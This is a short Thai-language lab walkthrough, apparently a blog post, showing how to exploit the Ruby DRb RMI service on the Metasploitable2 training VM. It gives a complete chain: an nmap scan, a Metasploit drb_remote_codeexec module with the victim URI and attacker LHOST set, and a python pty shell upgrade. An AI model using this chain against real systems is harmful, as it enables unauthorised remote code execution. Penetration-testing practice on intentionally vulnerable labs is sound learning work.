How to exploit Ruby DRb RMI – Metasploitable2

บทนำ (Overview)

บทความนี้นำเสนอตัวอย่างการโจมตีช่องโหว่ของ dRuby ซึ่งสามารถทำให้เราสั่งการทำงานระยะไกลได้ (remote execution) โดยตัว dRuby เป็น object หนึ่งของ Ruby มีลักษณะเป็นโครงสร้างเป็นแบบกระจาย (Distributed) โดย โดยการใช้งานต้องเชื่อมต่อที่ URI druby://example.com ที่ port หมายเลข 8787 สามารถศึกษาเพิ่มเติมได้ที่ http://ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html

ขั้นตอน (Steps)

  1. ค้นหา “Port” ที่เปิดบริการโดยใช้คำสั่งดังนี้
    nmap -p 1-65535 -T4 -A -v 192.168.1.36
    
  2. ตรวจสอบ “Port”  และ “Version” ของ “Ruby DRb RMI ” จากตัวอย่างคือ
    8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
    
  3. ค้นหา “Exploit” จาก “Metasploit”
    msfconsole
    search DRb
    use exploit/linux/misc/drb_remote_codeexec
    show options
    

    metasploitable2-drb-01

  4. ตั้งค่าดังนี้
    //IP เหยื่อ
    set URI druby://192.168.1.36:8787
    
    //IP ผู้โจมตี
    set LHOST 192.168.1.57
    

    metasploitable2-drb-02

  5. ใช้คำสั่ง “exploit” เมื่อสำเร็จจะได้ “shell” ดังต่อไป
    exploit
    python -c 'import pty;pty.spawn("/bin/bash")'
    id
    

    metasploitable2-drb-03

ใส่ความเห็น